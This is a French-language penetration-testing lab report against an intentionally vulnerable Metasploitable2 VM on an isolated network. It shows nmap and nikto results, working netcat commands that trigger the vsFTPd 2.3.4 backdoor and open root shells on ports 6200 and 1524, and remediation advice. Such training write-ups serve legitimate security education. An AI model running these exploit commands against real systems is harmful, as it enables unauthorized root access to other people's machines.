
Laboratoire de pentest en réseau isolé : énumération avec nmap/nikto et exploitation manuelle de Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) avec rapport technique complet.
Auteur : Daniel Stefan de Jesus dos Reis
Date : Septembre/2026
Environnement : Laboratoire personnel KVM sur réseau virtuel isolé pentestlab
Ce test a été réalisé exclusivement contre une machine virtuelle personnelle et intentionnellement vulnérable, distribuée par Rapid7 spécifiquement à des fins de formation en sécurité offensive, au sein d'un réseau virtuel isolé sans accès à internet. Aucun système tiers n'a été accédé. Ce projet a une finalité exclusivement éducative, pour le développement de compétences en tests d'intrusion.
pentestlab (bridge virbr-lab), sous-réseau 192.168.100.0/24, sans <forward> configuré — c'est-à-dire un véritable réseau isolé : les VM communiquent entre elles et avec l'hôte, mais n'ont aucune route vers l'extérieur du laboratoire. XML du réseau dans evidencias/pentestlab_network.xml.virbr-lab, utilisant nmap, nikto, gobuster, hydra, sqlmap et netcat.metasploitable2 (Metasploitable2, Ubuntu 8.04 modifié), IP 192.168.100.90/24, attribuée via DHCP du réseau isolé lui-même.[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
J'ai suivi un flux basique de reconnaissance → énumération → exploitation → documentation :
nmap -sV -sC -p-)nikto)nc, pour comprendre le mécanisme de chaque faille, pas seulement « lancer l'exploit »Commande : nmap -sV -sC -p- -T4 192.168.100.90
Sortie complète : evidencias/nmap_full_scan.txt
Résumé des services les plus pertinents trouvés :
Entre le 30/06/2011 et le 03/07/2011, le code source du vsFTPd 2.3.4 mis à disposition au téléchargement a été altéré par un attaquant. La version compromise contient une backdoor : en recevant, dans le champ utilisateur du login FTP, une chaîne terminée par :), le serveur ouvre un shell root sur le port TCP 6200, sans aucune authentification.
Étapes exécutées (log complet dans evidencias/vsftpd_backdoor_exploit.txt) :
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Résultat :
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Accès root total obtenu sans authentification.
nmap identifie déjà ce service comme Metasploitable root shell — une backdoor laissée intentionnellement dans l'image (vestige d'un exploit antérieur, courant dans les images de formation). Aucune exploitation n'est nécessaire : il suffit de se connecter.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Résultat : uid=0(root) gid=0(root) groups=0(root) — root immédiat.
Log complet dans evidencias/bindshell_1524.txt.
La version d'UnrealIRCd tournant sur les ports 6667/6697 correspond à une build historiquement distribuée avec une backdoor (commande AB; suivie d'une commande shell). J'ai tenté de déclencher la backdoor manuellement via nc, mais le serveur a traité l'entrée comme une commande IRC invalide (451 :You have not registered) au lieu d'exécuter la commande — soit cette image spécifique ne contient pas le binaire trojanisé, soit le payload nécessite un ajustement fin que je n'ai pas priorisé lors de cette session. Je consigne cela comme une tentative infructueuse, non comme une vulnérabilité confirmée.
Service de compilation distribuée qui accepte des commandes arbitraires de tout client qui s'y connecte, sans authentification. Identifié par version, non exploité lors de cette session.
Historiquement vulnérable à l'exécution de code à distance via désérialisation. Identifié par version, non exploité lors de cette session.
Commande : nikto -h 192.168.100.90 -p 80
Sortie complète : evidencias/nikto_scan.txt
Principales découvertes :
TRACE active (XST potentiel)/phpinfo.php exposé publiquement (révèle la configuration de PHP)/phpMyAdmin/ accessible sans restriction d'IP/doc/, /test/ et /icons/httponlypentestlab, au lieu d'attaquer directement depuis l'hôte| Port | Service | Version | Observation |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Login anonyme autorisé + backdoor connue |
| 22/tcp | SSH | OpenSSH 4.7p1 | Obsolète |
| 23/tcp | Telnet | Linux telnetd | Protocole en clair |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin et phpinfo.php exposés |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Signature de messages désactivée |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Historiquement vulnérable à RCE |
| 1524/tcp | bindshell | — | Shell root déjà ouvert, sans authentification |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Historiquement vulnérable à RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | protocole 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Version associée à une backdoor connue |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| Découverte | Recommandation |
|---|
| Backdoor vsFTPd 2.3.4 | Ne jamais utiliser de binaires provenant de sources non officielles/non vérifiées ; valider le hash/la signature des paquets avant installation |
| Bindshell sur le port 1524 | Auditer régulièrement les ports ouverts (nmap interne périodique) ; tout shell non documenté est un incident |
| distccd exposé sans authentification | Restreindre aux hôtes de confiance via pare-feu ou désactiver s'il n'est pas utilisé activement pour la compilation distribuée |
| phpMyAdmin/phpinfo.php exposés | Restreindre l'accès par IP/VPN, ne jamais exposer publiquement les outils d'administration |
| Apache/PHP obsolètes | Maintenir un processus de patch management actif |
| Listing de répertoire activé | Désactiver Options Indexes dans Apache |
| SMB avec signature de messages désactivée | Activer server signing = mandatory |